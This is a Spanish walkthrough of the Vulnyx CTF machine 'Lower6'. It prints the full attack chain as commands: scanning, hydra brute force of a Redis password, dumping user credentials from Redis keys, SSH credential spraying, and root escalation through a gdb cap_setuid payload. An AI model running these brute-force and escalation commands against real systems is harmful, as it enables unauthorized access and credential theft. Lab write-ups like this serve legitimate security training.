Máquina Lower6 (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.34
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.34


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.34 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 6379.

A continuación, intentamos acceder a redis (6379) con la ayuda de la herramienta redis-cli sin especificar una contraseña, para ello ejecutamos el siguiente comando:

$ redis-cli -h 10.0.2.34

Una vez dentro, ejecutamos el siguiente comando:

10.0.2.34:6379> INFO

Necesitamos credenciales validas para acceder, por lo tanto, con la ayuda de la herramienta hydra intentamos crackear la contraseña para acceder al servicio redis, para ello ejecutamos el siguiente comando:

$ hydra -P rockyou.txt redis://10.0.2.34:6379

Obtenemos la contraseña hellow.

Volvemos a acceder a redis (6379) con la ayuda de la herramienta redis-cli especificando la contraseña obtenida, para ello ejecutamos el siguiente comando:

$ redis-cli -h 10.0.2.34 -a hellow

listamos todas las claves (KEYS), para ello ejecutamos el siguiente comando:

10.0.2.34:6379> KEYS

Encontramos varias claves (KEYS).

Recuperamos las claves (KEYS), para ello ejecutamos el siguiente comando:

10.0.2.34:6379> MGET key1 key2 key3 key4 key5


Encontramos varias credenciales de varios usuarios.

A continuación, nos creamos un diccionario users.txt con los usuarios obtenidos, y otro diccionario pass.txt con las contraseñas obtenidas.

Con la herramienta hydra realizamos un ataque a ssh para comprobar si algunos de los usuarios junto con su contraseña es válido para conectarnos a la Máquina Víctima via ssh, para ello ejecutamos el siguiente comando:

$ hydra -L users.txt -P pass.txt ssh://10.0.2.34 -T 64

Obtenemos las credenciales killer:ShadowMaze@9.

A continuación, nos conectamos por ssh, para ello ejecutamos el siguiente comando:

$ ssh killer@10.0.2.34

Introducimos la contraseña obtenida anteriormente.

¡¡¡Somos killer!!!

Enumeramos los binarios con capabilities, para ello ejecutamos el siguiente comando:

$ /usr/sbin/getcap -r / 2>/dev/null

Como podemos comprobar el binario gdb tiene la capabilities cap_setuid siendo posible utilizarlo como una puerta trasera para mantener el acceso privilegiado manipulando su UID del proceso, por lo tanto nos vamos a la página gtfobins a mirar el payload para así explotarla.


Lo ejecutamos de la siguiente manera:

$ /usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit


¡¡¡Ya somos root!!!
 
Ya podemos leer las flags de user y root.